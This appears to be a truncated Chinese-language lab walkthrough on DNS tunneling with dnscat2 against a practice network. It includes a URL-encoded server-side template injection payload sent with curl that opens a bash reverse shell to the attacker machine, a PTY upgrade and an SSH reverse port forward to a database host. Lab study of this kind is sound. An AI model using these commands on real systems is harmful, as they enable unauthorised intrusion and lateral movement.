DNS Tunneling - Dnscat2
DNS Tunneling - Dnscat2 場景示意圖 kali 攻擊機 192.168.45.244 靶機 - 192.168.244.7 (kali / 7he_C4t_c0ntro11er) : Domain feline.corp Name Server - 192.168.244.63 (Web) - 192.168.244.64 (Internal DNS Server) - 10.4.244.215 (database_admin / sqlpass123) : Client 先看一下 feline.corp Name Server sh kali@192.168.244.7 hostname whoami ls cat dnsmasq.conf --> DNS 伺服器最小配置 啟動 DNS Server，sudo dnsmasq -C dnsmasq.conf -d 再連一個 SSH Shell 然後做 tcpdump for UDP 53 port 指令 sudo tcpdump -i ens192 udp port 53 第一步漏洞入侵 Web curl -v http://192.168.244.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.244/4444%200%3E%261%27%29.start%28%29%22%29%7D/ 然後確保 TTY， python3 -c 'import pty; pty.spawn("/bin/bash")' 走 SSH Tunneling 攻擊機掛載 2222 Port 對應到 DB Server 22 Port ssh -N -R 127.0.0.1:2222:10.4.244.215:22 kali@192.168.45.244 第一次連...